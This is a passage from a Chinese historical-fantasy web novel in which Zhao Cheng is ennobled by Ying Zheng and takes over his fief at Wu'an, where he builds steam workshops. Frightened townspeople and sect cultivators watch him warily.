继而倍道兼行,一日连破武安、伯阳二城,直抵邯郸。
赵人恃墨家机关城为固,以机巧拒守。
诚亲率锐士毁其机括,三日而破邯郸,俘获墨家渠帅禽滑厘以下三百余人,降其卫卒四万余,得赵王宫室、府库珍宝、舆图户籍,此其二功也。
邯郸既破,尚有赵人李牧,聚精锐于北地顽守不退。
李信部冒进被围,五万赵军环伺,矢尽粮绝,士卒几溃。
诚单骑冲阵,擎天大戟冲阵如破竹!
继而率血衣军扫灭胡刀风骑三千,歼敌三万有余,俘将校百二十余人,解番吾之围,此其三功也。
乘胜北上,与蒙武部合围李牧边军。
李牧,赵之名将,恃边军精锐屡抗我师。
诚设计困其于狼牙,生俘李牧,七日而定赵境三十七城,拓地千里,斩敌首十三万,降者八万,此其四功也。
复率血衣军万余趋代郡,克繁畤、灵丘、飞狐口七城,诸城望风而降。
至雁门,阮亳献城。
凡三日,得城十九,斩五万余,降三万,血衣军折损不足三百,赵地尽平,此其五功也。
尤为甚者,诚俘墨家子弟,不以阶下囚待之,反授蒸汽秘术,督其研造奇器。
今有百炼机,锻钢如镜,坚逾精金,甲胄剑戟为之锐不可当。
沸川鼓风助冶,火温恒定,铁器产量倍增,民得利器,军有坚甲。
驰轨车焚煤为力,日行千里,粮秣军械转运如飞,再无栈道之险、漕运之滞。
连**战车、抛石巨机之属,蓄力于蒸汽,发则箭如暴雨、石若陨星,攻城略地如摧枯拉朽。
此等器物,上利军国征伐,下益黔首耕织,变守旧之法,开未竟之途,其于秦之变革,犹胜耕战之效,此其六功也。
六功累加,拓地三千里,灭国一,斩敌二十有二万,降者十有五万,获甲兵、粮秣无算;更创蒸汽之术,强秦器、利民生,为万世基业立其基。
其功若此,当显荣于世。
今册命:
赵诚为‘伦侯’,
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食邑三万户,户岁纳粟三石,隶于内史;
加封为‘武威君’,赐邯郸以西百里为封地,得自置家臣、设官属,佩金印紫绶,剑履上殿,入朝不趋。
赐玄纁束帛各百匹,斧钺一具,虎贲三百人以为仪仗。
於戏!
尔当钦念王命,勉力事秦,辅朕一统天下,勿负所托!”
听着李斯宣读,百官都是惊叹莫名,尽管已经了解了多次赵诚的功绩,可是再听一遍,还是惊为天人。
如此不世之锋,简直骇人听闻!
李斯读罢,将策命竹简高举过顶。
赵诚出列,解下腰间佩剑,免冠顿首:“臣赵诚,谢陛下隆恩!
臣必以死效命,不负陛下!”
嬴政起身,从内侍手中接过金印。
印方三寸,螭虎纽,印文“武威君印”以鸟虫篆刻就,金光熠熠。
他走下丹陛,亲手将金印置于赵诚手中,又赐下玄纁束帛:“此印,是你功勋章。
此帛,是你忠心事秦之证。”
赵诚双手接过金印与束帛,印身冰凉,却似有千钧重。
司仪官再唱:“赐仪仗——”
三百虎贲郎官列成两队,手持斧钺、旌旗从广场两侧涌入,旌旗上绣着“赵”字与“武威君”封号,在风中猎猎作响。
斧钺相撞,发出“哐当”巨响,宣告着新君的诞生。
蒙武、王翦等将齐声喝彩:“恭贺武威君!”
广场北端的赵国贵族中,有人忍不住抬头,望见赵诚手持金印、立于旌旗之下的身影,再想起自家覆灭的宗庙,不由得泣不成声。
嬴政转身,再看向广场西侧列队的血衣军。那些黑甲红披的锐士们身姿挺拔,甲叶上的血痕虽已凝作暗红,却仍透着踏破邯郸、荡平赵境的悍勇。
“血衣军!”嬴政的声音陡然拔高,如惊雷滚过广场,“赵诚之功,亦是尔等之功!”
他抬手指向队列最前的百夫长们,语气铿锵:“自颍川出军以来,尔等随赵诚破邺县、下邯郸、解番吾之围、平代郡之乱,斩敌二十余万,未尝一败!
此等战绩,当赏!”
“传朕旨意——”
第206章 嬴政暗探寻父意,烈心决绝拒生亲
嬴政的目光如炬,扫过每一张黝黑的脸庞,“血衣军上下,凡参与灭赵之战者,皆晋爵一级!锐士晋公士,公士晋上造,上造晋簪袅…
以此类推,有斩首过百者,晋爵三级!”
队列中顿时响起甲叶碰撞的轻响,那是将士们按捺不住的激动。
秦**功爵,一级之差便是天壤之别,晋爵一级意味着田宅、仆役、食邑皆有增益,是多少人拿命搏来的荣耀。
“此外,”嬴政继续道,“赐血衣军将士每人田十亩、宅一处,隶于咸阳内史,免徭役三年!
战死将士之家,由国库供养其父母妻儿,直至成年!”
“轰!”
这一次,血衣军再也按捺不住,队列中爆发出震天的欢呼。
“谢陛下!”百夫长们率先单膝跪地,甲胄砸在青石板上,发出整齐的“哐当”声。
“谢陛下!”万余血衣军齐声高呼,声浪直冲云霄,震得宫檐上的铜铃叮当作响。
“谢陛下!谢武威君!”
呼声此起彼伏,在广场上空回荡。
黑甲红披的队列中,有人攥紧了手中的长戟,指节发白。
有人望着丹陛上的嬴政与赵诚,眼中燃起熊熊战火。
灭赵之功已得重赏,那灭魏、破楚、一统天下的功业,岂不是能得更大的荣耀?
蒙武望着这沸腾的队列,抚须而笑:“有此等士气,何愁天下不平?”
王翦亦点头,目光落在血衣军将士的甲胄上,仿佛已看到他们踏过魏都大梁、楚都寿春的城门。
嬴政抬手,止住欢呼,声音再次响起,带着帝王的威严与期许:“晋爵、赐田,是朕对尔等灭赵之功的酬谢。
但天下未定,功业未竟!
待墨阁重器铸成,尔等便随赵卿挥师东进,灭魏、破楚、下齐、伐燕!
届时,朕再以六国土地、万民为赏,让尔等与子孙后代,永享荣光!”
“愿随陛下、武威君,一统天下!”
将士们的吼声震彻广场,惊飞了檐角的雀鸟。
朝阳之下,赵诚手捧金印,玄甲在金光中泛着冷光。
属于他的时代,属于大秦的时代,才刚刚开始。
……
邯郸王宫的偏殿内,檀香在鼎中缓缓燃烧,烟气缠绕着梁柱上的云纹雕饰,漫出几分沉静。
赵诚身着大铠红氅挺立在殿中,甲叶上的金鳞在殿内微光下泛着冷光,“陛下,臣有一事恳请。”
嬴政放下手中的竹简,目光落在他身上:“但说无妨。”
“陛下赐臣邯郸以西百里为封地,许自治之权,”
赵诚语气坦诚,带着几分难掩的生涩,“可臣自束发从军,只知攻城略地、练兵备战,于民政、农桑、刑狱诸事一窍不通。
昔日在颍川,不过是依军法约束部众,从未真正治理过一方百姓。
这百里封地,若由臣胡乱处置,怕是要辜负陛下厚望,还请陛下派些熟谙民政的能吏,助臣打理。”
他说罢,垂手侍立,眉宇间没有半分虚饰。
战场厮杀他从不含糊,可让他算赋税、断官司、劝农桑,实在是麻烦的很,他才不想每日耽搁在这种政务之上。
但若不花心思,只交给手下之人,下面难免生乱,到时候又是一堆麻烦事。
嬴政看着他这副坦诚模样,指尖在御案上轻轻敲击,心里却明镜似的:
寻常封侯,虽有食邑,却只有收租之权,治权尽归郡县。
便是封君,也多是宗室外戚的虚衔,挂个名号罢了,哪有真正的自治之权?
可他给赵诚的“武威君”封地,却是实打实的。
自置家臣、设官属、掌刑赏,几乎等同于一方小诸侯。
这既是对赵诚灭赵之功的极致褒奖,更是他藏在心底的考量:
这孩子是他的长子,虽从未明说,可那份血脉里的霸烈与格局,早已让他认定,未来这天下,终将交到赵诚手中。
治理封地,正是最基础的历练。
可眼下,这小子竟直接跑来要人,倒让他有些哭笑不得。
“你啊……”
嬴政放下竹简,语气里带着几分无奈,又藏着一丝不易察觉的纵容,“寡人特允你自治,便是想让你多历练历练,你倒好,直接找寡人要人?”
赵诚坦然笑道:“陛下,术业有专攻。
臣挥戟冲锋还行,算钱粮、断官司是真不行。
若是
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治砸了,丢的可是陛下的脸面。”
嬴政没再接话,目光掠过赵诚挺拔的身影,忽然想起另一件压在心底的事。
这孩子如今已是伦侯、武威君,权势遮天,功绩足以让宗室侧目,便是认祖归宗,也无人敢置喙。
或许,是时候探探他的口风了。
“罢了,民政之事,稍后让李斯给你荐几个郡守属吏,”
嬴政话锋一转,语气放缓了些,“说起来,你如今贵为武威君,军中威望、朝堂权柄,皆是秦国顶尖。
这般身份,就没想过……寻一寻你的生父?”
殿内的空气忽然静了下来,檀香的烟气仿佛都凝滞了。
赵诚闻言,挑了挑眉,嘴角勾起一抹淡淡的讥诮:“找他作甚?”
他抬眼看向嬴政,眼神清明,没有半分遮掩:“臣自小在乡野长大,记事起就跟着母亲相依为命。
那所谓的‘生父’,从未露过面,更别说呵护照拂。
母亲病重时,臣找遍了乡邻求药,他在哪?
母亲走的时候,他又在哪?”
“秦国是讲究嫡庶有别,可再怎么说,也不该面都未曾露过一次。”
赵诚的声音里带着几分冷意,“他既从未把臣当回事,臣又何必上赶着认亲?
就当这人从没存在过,反倒干净。”
他当年阴阳术大成时,不是没想过占一卦寻寻踪迹。
可转念一想,真找着了又能如何?
若那人是个趋炎附势之辈,攀附上来惹人厌烦。
若是个薄情寡义之徒,杀了他污了自己的手。
倒不如不认,落个清静。
嬴政坐在御座上,指尖无意识地摩挲着案上的玉印,心里像被什么东西硌了一下,又酸又涩。
他想解释,当年确实内忧外患,四面楚歌,实在自身难保,分身乏术。
至于后来,也并非有意疏忽,只是那段往事不堪回首,他自己也不愿轻易触碰。
可话到嘴边,却全堵在了喉咙里。
赵诚说得没错,母亲去世时他未出现,乡野长大时他未照拂,无论有多少“难处”,终究是他欠了这孩子。
“或许……当**,彼此各有难处?”
第207章 封地核心武安城,将有雄关映铁光
嬴政的声音有些干涩,带着几分试探。
赵诚撇了撇嘴,语气里满是不以为然:“能有什么难处?不过是没担当罢了。”
他挺直脊背,玄甲碰撞发出清脆的声响,“若是臣做下的事,便是刀山火海,也得担起来。
管他什么嫡出庶出,谁敢嚼舌根,谁敢置喙,杀了便是!”
这话掷地有声,带着他惯有的霸烈,却像一根针,刺破了嬴政所有的辩解。
是啊,这孩子向来如此。
不论是提刀夜潜逼其父,还是戟指相国诛其心,都是如此。
他从不是个会委屈自己,委曲求全的人。
嬴政再次沉默了,殿内的檀香仿佛更浓了些,呛得他有些鼻酸。
他望着赵诚那张棱角分明的脸,与自己年轻时竟有七分相似,心里翻涌着愧疚、欣慰、无奈,千般滋味搅在一起,却不知该如何说起。
这层窗户纸,终究是难捅破啊……
他深吸一口气,压下心头的波澜,摆了摆手:“罢了,此事你既不愿,便先不提。
治理封地的能吏,寡人让李斯明日就给你送来,但你也不要全交给他们,要好生学着,莫要真成了只会打仗的莽夫。”
赵诚闻言,立刻肃拜谢恩:“谢陛下!臣定不负所托!”
看着他转身离去的背影,暗红大氅在门槛处划过一道利落的弧线。
嬴政缓缓靠在御座上,望着空荡荡的殿门,久久没有言语……
……
赵诚亲率万余血衣军抵达武安城外时,正是暮春时节。
太行山东麓的暖风卷着新麦的清香扑面而来,远处的城墙在夕阳下泛着青灰色的光,那便是他封地的核心——
武安城。
“阿诚你看,”
身旁的蒙恬兴冲冲地展开一卷泛黄的赵国舆图,图上用朱砂标注着山川城郭。
他指尖重重落在武安城的位置,“这武安城可是赵国经营了百年的老牌军镇,素有‘凭险而立,可安天下’之称!
你瞧这地势——西依太行山脉,东接邯郸平原,城墙是用太行山的青石夯筑而成,高三丈、厚两丈,光垛口就有千余个、
当年李牧镇守此处时,秦军三次东出,都在城下折了兵锋,硬生生被挡了五年!”
他又指着城郭周边的标记,眼睛亮得像要发光:“更要紧的是,这城里藏着三座大铁矿、
自赵肃侯时就开炉冶铁,如今在册的铁匠就有三百余户,能造剑、铸甲、锻箭头,连墨家之前都在这儿设过锻坊。
你想想,把墨阁的百炼机、沸川搬到这儿,铁矿直接入炉,锻出的精钢当日就能送进工坊造器械,多方便!”
血衣军的锐士们已开始安营扎寨,玄甲在暮色中闪着冷光,蒙恬却拉着赵诚往南望,那里的洺水像条银带,在平原上蜿蜒流淌。
“看见那片炊烟了吗?那是列人城!”
他声音里满是赞叹,“赵国的老粮仓了!
洺水冲积出的平原,土肥得能攥出油来,方圆百里都是水浇地,一季粟、一季麦,年产量抵得上半个邯郸郡!”
他俯身用手指在地上比划:“这城虽不大,却有三条引水渠从洺水过来,灌田极便。
等你把墨阁的润田机铺开,不用牛拉人推,渠水直接能引到田垄最头里,亩产至少能提三成!
到时候,不光你封地里的驻军、官吏有粮吃,多出来的还能往咸阳、上党运,光卖粮就能攒下一大笔钱,后勤根本不用愁!”
说着,蒙恬又拽着赵诚转向西侧,远处的太行山隐约可见,一道山口在暮色中若隐若现。
“那是滏口陉!太行八陉里最关键的东口!”
他语气陡然郑重,“从这儿往西,过了陉口就是上党。
往东,直抵邯郸。
往北通代郡,往南连魏境。
简直是个十字路口!
秦国从上党往邯郸运粮草、送军械,都得走这儿。
将来你要北上攻燕、南下伐魏,军队从这儿出兵,比别处能快上三日!”
他用手指在舆图上圈出一片区域:
“而且这滏口城周边,煤炭山就有五座,挖出来直接能烧锅炉。
陶土也
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多,墨家子弟说,用这儿的土烧陶范,铸出来的铁器没有砂眼,正好跟武安的冶铁配成一套。
冶铁用煤,铸器用陶范,造好的器械直接走滏口陉运往前线,这简直是老天爷给你量身打造的宝地!”
蒙恬越说越激动,把舆图卷起来往腋下一夹,拍着赵诚的肩膀笑道:“你数数。
武安有铁矿、工匠,管兵器。
列人有良田、水渠,管粮草。
滏口陉有交通、煤炭,管运输。
三座主城,十多个乡邑,河谷平地能种粮,山地能设关隘,资源、战略、经济全占齐了!
将来兵源从乡邑里征,财力从冶铁、卖粮来,再配上墨阁的器械,这片封地能给你支棱起多大的家业?”
他望着远处渐次亮起灯火的武安城,语气里满是艳羡与敬佩:
“陛下把这儿封给你当武威君,可不是随便给块地就完了。
这是把秦国控制赵地的西大门交托给你,是让你在这儿练出个能打能守、能产能运的样板!
这份恩宠,这份信任,整个秦国,除了你,谁还能得?”
赵诚站在山坡上,望着脚下这片即将属于自己的土地。
武安城的灯火如星,列人城的田垄似绸,滏口陉的山口藏在暮色里像头蓄势的巨兽。
他抬手按了按腰间的金印,忽然明白嬴政的深意。
这片土地,既是对他功绩的奖赏,更是让他练兵、试器、积蓄力量的根基。
“走,进城看看。”赵诚翻身上马,玄色披风在风中扬起,“看看这武安城,能不能配得上咱们的蒸汽机。”
蒙恬立刻跟上,笑着喊道:“肯定配得上!
等咱们把百炼机立起来,让这武安城,比当年赵国时更繁华十倍!”
十倍?
十倍算什么?
若是等墨阁逐渐成熟,再把电机搞出来,弄个现代化都市,说是百倍千倍,那也不止啊!
想到接下来这里便是属于自己的地方,而自己能够将其打造的如前世一般舒适繁华,赵诚心里,也难免升起一丝火热来。
第208章 血屠名惊武安城,扶苏血戟褪儒烟
不过想到繁琐而枯燥的治政,赵诚心头的火热消去了一些。
好在之前他找嬴政之后,嬴政让李斯派来了几个才能不俗的治政官员随行。
除此之外,赵诚还把小扶苏薅来了。
这小子跟着他从颍川打到邯郸,一场灭赵之战下来,身上的书卷气早被硝烟熏成了铁血味。
想当初刚随军时,见了血还会脸色发白,捧着竹简躲在帐里念《诗》,满脸不忍。
后来与他相熟的血衣军士卒**几个。
他的诗便不念了,丢了书本,穿了铠甲,拿起大戟,跟在赵诚后面,猛猛冲杀。
冲杀之际,口中还高喊着什么“既来之则安之的话。”
亦或者,“朝闻道夕死可矣”之类。
总之,不论敌军还是血衣军,都是有些摸不到头脑。
有些敌人临死之前,也不明白这满口之乎者也的小子,为何杀起人来如此干脆利落,毫不手软。
为何将那文绉绉的话,说的如此杀气凛然。
真是至死都想不通。
到了后来,扶苏已能披甲持戟,甚至在血衣军里混了个校尉当当。
领着一队锐士冲锋时,喊杀声比谁都响,身上的玄甲溅了血,擦都不擦就往人堆里扎,活脱脱一个小兵痞。
先前那副张口“仁义”、闭口“礼乐”的腐儒模样,早被战场的尘土埋得不见踪影。
但赵诚清楚,扶苏毕竟是嬴政从小请博士悉心教导的,论起治政章程、民生利弊,肚子里着实是有墨水的。
这种费脑子又磨人的差事,交给他再合适不过。
自己正好当甩手掌柜,专心盯着墨阁的器械研发。
此时,队伍前头的空地上,扶苏正勾着章邯的肩膀唾沫横飞。
章邯被扶苏拽着胳膊,听得一脸茫然。
“章大哥你听我说,”
扶苏手里还攥着半片竹简,不知是从哪个旧书堆里翻出来的残篇,“孔夫子说‘既来之,则安之’,这话深着呢!”
章邯挠了挠后脑勺,甲胄的铁扣蹭得头皮发痒:“啥意思?莫非是说敌军来了,咱得好好招待?”
“招待个屁!”
扶苏眼睛一瞪,学着血衣军里的糙话,把竹简往腰里一别,“这是说,敌军既然敢来,就得让他们永远安葬在这儿!
埋了!
哪儿能让他们活着回去?”
章邯听得眼皮直跳,盯着扶苏那张还带着几分少年气的脸,迟疑道:“我……我读书少,你可别蒙我。
孔夫子他老人家,真是这个意思?”
“那还能有假?”
扶苏拍着胸脯,一脸笃定,嗓门亮得能让周围的士兵都听见,“你是没见过孔夫子的画像!
我在咸阳宫见过,身高三丈,腰大十围,抡起剑来能劈断城门!
当年周游列国,哪个诸侯敢不待见他?
还不是靠拳头硬!”
他越说越起劲,手舞足蹈地比划着,把孔夫子形容成了个能征善战的猛将,听得章邯嘴角直抽。
旁边的血衣军锐士们却哄堂大笑,谁都知道这位扶苏校尉,如今最擅长的就是把儒家经典往“打仗”上套。
扶苏正说得兴起,浑然不知赵诚已在不远处盯着他,眼里闪着“就你了”的亮光。
一个关乎封地民生、民政、军备的巨大担子,正悄无声息地悬在他头顶,只等入城后就稳稳落下。
……
武安城的街巷里,往日这个时辰本该是贩夫走卒穿梭、叫卖声此起彼伏的热闹光景,此刻却透着一股死寂的压抑。
临街的绸缎铺早早落了门板,只留一道缝隙,掌柜的趴在缝隙后往外窥望,手指把门板抠出了几道白痕。
粮铺前的幌子被风吹得摇摇欲坠,伙计们扛着麻袋匆匆往后院跑,像是要把所有粮食都藏起来才安心。
几个挑着菜担的农夫慌不择路地往巷子里钻,菜叶子掉了一地也顾不上捡,嘴里还念叨着“快回家躲着,血屠要来了”。
恐慌像瘟疫般在城里蔓延,三三两两的百姓聚在墙角、树下,压低了声音议论,却难掩语气里的颤抖。
“听说了吗?那连破韩赵两国的‘血屠阎罗’,就要来咱们武安城了!”
一个穿粗布短打的汉子往地上啐了口唾沫,声音发紧,“就是那个八日破新郑、三日下邯郸,杀得韩赵两国尸山血海的赵诚啊!”
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旁边一个裹着头巾的老妇人吓得往儿子身后缩了缩,颤声道:“秦王难道是糊涂了?
把咱们武安城封给这种煞星当封地!
这城可是咱们赵人祖祖辈辈住了百年的地方,落到秦国血屠手里,还能有好?”
“何止不好啊!”
另一个满脸风霜的老兵油子接话,他断了条胳膊,是当年守城时被秦军伤的。
此刻提起赵诚,眼里泛着惊惧,“我曾随将军李牧作战,李将军排兵布阵出神入化,多年未尝一败,更是文武双全。
但这样的人物,却被那血屠一战就败了。
可见可血屠凶煞!“
还有人颤抖着声音说,“听说他能一戟杀百万大军,还能劈天裂云,徒手接雷!”
他越说越邪乎,周围的人听得脸色煞白。
有个抱着孩子的妇人慌忙捂住孩子的耳朵,可那孩子还是听到了血屠之名,当场吓哭了,“哇”的一声哭嚎在寂静的街巷里格外刺耳。
“这要是哪天他不高兴了,”
老兵油子咽了口唾沫,声音压得更低,“怕是动动手指头,就能把咱们半个武安城的人都杀了!
这日子可怎么过啊……”
“血屠阎罗”的名号,自灭韩之战后就传遍了六国。
母亲哄哭闹的孩子,只消说“血屠来了”,孩子立马就不敢作声。
宴席上若是有人提起“赵诚”二字,满座的欢笑声会瞬间凝固,连喝酒都变得沉默压抑。
如今听说这位煞星成了武安城的新主人,满城百姓只觉得天塌了一般,家家户户都在烧香祷告,盼着这尊阎罗能高抬贵手。
城南的“迎客来”客栈里,临窗的一桌却透着与外界截然不同的沉静。
桌上摆着几碟素斋、一壶清茶,茶香袅袅,冲淡了窗外飘来的恐慌气息。
主位上坐着个白衣少女,青丝如瀑,眉宇间带着几分清冷,正是天宗当代掌门云渺。
她指尖捏着茶杯,杯沿被捏得微微泛白,方才楼下百姓的议论声,一字不落地钻进了她耳中。
“血屠残暴至此,竟让一城百姓闻风丧胆,连六岁孩童听见他的名字都要哭出声来……”
第209章 武安巷陌惊煞入,戟影压城众魄寒
云渺放下茶杯,眸中闪过一丝厉色,周身的空气仿佛都冷了几分,“此等凶徒,若不除之,不知还要残害多少生灵。”
坐在下首的灰袍老者缓缓抬眼,他须发皆白,眼角的皱纹里沉淀着岁月的沉静,正是天宗长老之一。
他抬手捋了捋垂至胸前的长须,声音如古井投石,沉稳中带着穿透力:“师侄稍安。
这赵诚年纪不过二十许,却能凭一己之力连破韩赵,麾下血衣军更是锐不可当,其修为与邪术传承绝非寻常。
背后恐有大魔势力为依仗。
我等下山虽为除暴,却也需先探清其跟脚,盲目动手,恐得不偿失。”
另一侧的蓝袍长老亦颔首附和,目光落在云渺身上,带着几分关切:“师兄所言极是。
师侄乃天宗千年难遇的奇才,肩负传承宗门的重任,行事更需谨慎。
那赵诚如此年纪,还能将逍遥子打成重伤,可见手段狠辣,底蕴深厚,万不可轻忽。”
云渺深吸一口气,指尖在微凉的杯壁上摩挲片刻,终究是压下了翻涌的怒意,点了点头:“我明白。”
她望向窗外,暮色中武安城的街巷已渐次亮起灯火,却透着一股压抑的死寂,隐约能听见远处那孩童低低的啜泣。
“若他当真能容这武安城百姓安稳度日,暂且容他几日也无妨。
可若他敢妄动杀机……”
话未说完,她掌中的茶杯已被无形之力捏出一道裂痕,“我这剑下,也不容此凶徒放肆。”
她身旁,逍遥子的弟子亦清与乐成对视一眼,皆从对方眼中看到了凝重。
亦清身着月白道袍,气质温润,他轻声道:“师姐说的是。
我等可在此处盘桓几日,每日分头打探他的言行和跟脚。”
乐成则按了按腰间的长剑,“只是……师父说他是霍乱苍生的大魔,能将师父打成重伤,其手段定然诡异。
咱们需得加倍小心,若发现他背后还有其他魔头踪迹,需先传讯回来,再做计较。”
两人虽对天宗掌门的实力有信心,却也深知赵诚的可怖。
连师尊都败在他手,若其背后真有更强大的势力,仅凭他们一行九人,怕是难以应对。
他们两个背负师命,就算是死,也并不畏惧。
但是事关天宗师姐云渺的安危,他们也觉得应该稳重些。
次日,天刚蒙蒙亮,城东便传来一阵马蹄声。
那不像是寻常商旅的杂乱蹄音,而是整齐划一的“咚、咚”声。
沉闷如擂鼓,震得城砖缝隙里的尘土簌簌落下。
这声音刚起时,街巷里还有零星的脚步声、咳嗽声,可不过三息功夫,整座城便像被按下了静音键,瞬间陷入死寂。
卖胡饼的张老汉手忙脚乱地收摊,铁鏊上的饼子烫得他直甩手,却顾不上吹,抱着鏊面就往巷子里钻。
绣坊的李娘子拽着三个孩子往柜台下躲,最小的娃吓得“哇”地哭出声,她慌忙捂住孩子的嘴,指节因用力而发白。
连平日里最胆大的屠户**,也“哐当”一声关了肉铺的门板,从门缝里往外窥望,手心全是汗。
“吱呀——”
城门缓缓开启的声音在寂静中格外刺耳,像生锈的铁器被硬生生掰开。
晨光顺着门缝涌入,先照亮的是一双马蹄,漆黑如墨,蹄铁上还沾着昨夜的泥点,每踏一步,都在青石板上留下个清晰的印记。
紧接着,一个坐在神骏黑马之上的巨大身影遮蔽天光,投落无尽阴影入城。
这身影极为雄武挺拔,细腰乍背,猿臂蜂腰。
坐在马上,巍然如山岳,挺拔如险峰,肩宽如担山,
其身披暗红大氅,随风翻动,如泼墨流云;
倒提擎天大戟,金辉流转,若银河落野!
一双凶眸于暗处生光,煞气冲天,扫过之处,连风都似凝固了。
端的是霸烈无比,杀气如凝。
他一骑当先,大马金刀入了城来。
其麾下马匹,好似能够与其心意相通,也是霸烈无比,大步向前,行若风雷。
守在城门下的武安城官员们,包括县令王博在内,在看清这身影的瞬间,全都面色一白,屏住了呼吸。
素闻血屠阎
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罗之名,这亲眼见到,才发现其本人煞威之盛,更胜其名!
王博袍角的褶皱里还沾着晨起的露水,显然是天不亮就候在城门下。
此刻他额角的青筋突突直跳,喉结滚动了三次,才勉强开了口,声音里带着抑制不住的颤抖。
“臣武安城县令王博,拜见武威君,城中已经摆好宴席,请君上赴宴!”
旁边的主簿偷偷掐了自己一把,才确认不是在做梦。
这等威势,比传闻中说的“劈天裂云”还要可怖,光是站在他面前,就觉得胸口像压着块巨石,连呼吸都困难。
赵诚俯视王博,目光平静无波,却像带着无形的压力。
王博浑身一颤,慌忙低下头,视线死死盯着自己的鞋尖,不敢有半分对视。
“赴宴不必了。”
赵诚的声音不高,却清晰地传遍城门内外,“你们回县廷等候,稍后会有人来交接政务,配合好便是。”
“是,君上。”
王博的声音细若蚊蚋,额头上的冷汗顺着脸颊滑落,滴在官服前襟上,洇出一小片深色。
他不敢多言,实在是赵诚身上的煞气太过浓烈,压力太大,多待一刻,都觉得心脏要被压碎。
赵诚带着血衣军入城,黑甲红披的锐士列成整齐的方阵,从东门长驱而入,直奔工坊区。
这整个血衣军军气如焚天之焰,煞气冲天。
甲叶碰撞的脆响与马蹄声震得青石板发颤。
那些躲在家中看到赵诚的百姓,一个个白了脸,软了腿,甚至有那成年男子直接被吓得坐在地上啜泣起来。
更有甚者,吓得直接昏厥了过去。
再看其身后的血衣军,那种尸山血海里面淘洗出来的煞气,更是让所有人胆战心惊。
随着血衣军入城,所有的百姓都感觉好似有一股极低极深极重的黑云,压在了武安城的上空,让他们喘不过气来。
“这种杀气,城东的杨屠夫杀了千百头猪,在他面前,就像个穿开裆裤的小娃娃!”
“血屠进城了,他不会大开杀戒,拿我们练邪术采生折割吧?”
第210章 眸交煞影逢灵雨,龟裂玄机骇老仙
一个妇人抱着孩子,眼泪无声地往下掉,“王县令还活着吗?他能护着咱们吗?”
“活着!王县令还活着!”
“只要王县令还活着,或许……血屠……不会那般肆无忌惮……”
回应的声音里充满了不确定。
此时此刻。
整个武安城,除了血衣军穿城而过的马蹄声、甲叶碰撞声,再无半分杂音,一片死寂。
血衣军行到哪里,哪里的民房里就会传出压抑的啜泣,或是有人死死捂住嘴,连呼吸都怕惊扰了这支凶煞大军。
行至北街时,意外突然发生。
一个卖糖葫芦的老汉提着担子,大概是家离得远,没来得及躲回家。
见血衣军冲来,吓得腿一软,“噗通”一声摔在地上,担子翻了,红艳艳的糖葫芦滚了一地,竹签散落得到处都是。
“军爷饶命!草民不是有心……”
老汉连滚带爬地跪下,额头“咚咚”地往地上磕,磕得青石板都响。
周围窗后的百姓们心都提到了嗓子眼——这老汉怕是要遭殃了!
然而,赵诚只是淡淡地扫了一眼,并未停马。
旁边一名血衣军士卒策马出列,翻身下马时动作利落,玄甲碰撞发出轻响。
他弯腰捡起散落的竹签,三两下就归拢成捆,连带着滚远的糖葫芦也捡了回来,递还给老汉时,只淡淡说了句“小心些”,声音里倒没有半分戾气。
老汉捧着竹签僵在原地,直到血衣军的背影转过街角,才猛地瘫坐在地,后背的衣衫已被冷汗浸透。
他望着糖葫芦上晶莹的糖衣,眼里都是劫后余生的庆幸:“不杀?他没……他没杀我?”
行至一家客栈之外,赵诚忽然心有所感,抬头看去,与一名青衫女子四目相对。
这一刻,两双眸子里的尸山血海与空山灵雨相对,一切都好似静定了一瞬间。
这女子青丝如瀑,眉目如画,眉宇之间,带着一种俯眺清流的闲适从容,却有有一丝隐藏极深的厌恶和敌意闪过。
赵诚察觉到了,却只是一笑了之,继续向前。
而迎客来客栈二楼之上的云渺,却是微微失神。
赵诚的形象,与她所想的凶神恶煞青面獠牙完全不同,竟是面如冠玉,英武至极。
那是蜂腰虎背披玄氅,玉面霜眸坐神驹。
不像是什么魔头,倒像是个顶天立地的霸王。
最让她惊讶的是,她在对方身上,感受到了一种极致的危险和压力。
这种感觉,身边的七个长老师叔都没有能够带给她。
“此子果然邪门!”
一旁的大长老抚须惊疑不定,“刚刚那一刻,只是与之对视了一眼,我竟感觉到了凶险之兆!”
另一位擅长占卜的长老面色铁青,他刚捏着龟甲想卜算赵诚的底细,龟甲竟“咔嚓”一声裂开,裂纹如刀。
“我也有种被他瞬间看透的感觉!”
他沉声道,“此子恐怕还十分精通占卜之法!其技艺精通,不在我之下!”
“观其身上煞气滔天,却无罪孽反噬之相,只怕这传承来头不小,我们决不能轻举妄动。”
云渺沉默着收回目光,望着血衣军远去的方向,指尖在窗沿上掐出一道浅痕。
“先看看再说。”
与赵诚见过面后,她终是收起了那份从容之心,心中升起了几分凝重,默许了长老们稳妥行事的建议。
一行人就此在“迎客来”客栈住了下来。
每日清晨,亦清与乐成便换上市井百姓的粗布衣衫,混迹于武安城的街巷之中,仔细打探赵诚的动向。
云渺与长老们则留在客栈,梳理传回的消息,交流翻阅典籍,分析其中的蛛丝马迹。
然而一连数日过去,武安城的局势却出奇地平静,与他们预想中的“血屠入城、尸横遍野”截然不同。
入城之后,赵诚便直奔城西的旧赵工坊,再未露面。
血衣军的士兵们则分散开来,有的带着工匠丈量土地,在工坊外围筑起更高的围墙。
有的组织民夫开凿新的矿洞,从太行山脚往工坊运铁矿石。
还有的指挥着车队,将一车车黑黢黢的煤炭送入工坊,车轮碾过石板路,留下两
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道深色的辙痕。
每日清晨,工坊区便会传来“轰隆——轰隆——”的巨响,像是有无数巨锤在地下捶打,震得远处的窗棂都嗡嗡作响。
又有白茫茫的蒸汽从工坊的烟囱里喷涌而出,直上数十丈高空,在武安城的上空凝成一片淡淡的云霭,远远望去,竟像是工坊里藏着一头吞吐云雾的巨兽。
“那血屠到底在弄什么名堂?”
“谁知道呢!自打他进了工坊,就没出来过!
那轰隆声从早响到晚,听得人心里发毛,莫不是在练什么吸人精血的邪术?”
“工坊里的工匠都被圈起来了,听说进去了就不准出来,会不会是被他抓去祭炼什么凶物了?”
街巷里的议论从未停歇,百姓们虽不像起初那般惶恐奔逃,却也个个提心吊胆。
有胆小的人家甚至在门楣上挂起桃木剑,窗户上贴满黄符,祈祷能避开这“血屠”的煞气。
有人忍不住想起了武安城的县令王博:“王县令今天还在吗?没被那血屠斩了吧?”
“还在呢还在呢!”
旁边立刻有人接话,语气里带着几分安心,“王县令八年前就来武安城了,是咱们赵人自己的官。
这血衣军打过来,他第一个递了降书,说是‘与其让百姓遭兵祸,不如降了保平安’,咱们都念他的好呢!
有他在,总能给咱们说上话。”
这王博确实在百姓中颇有声望。
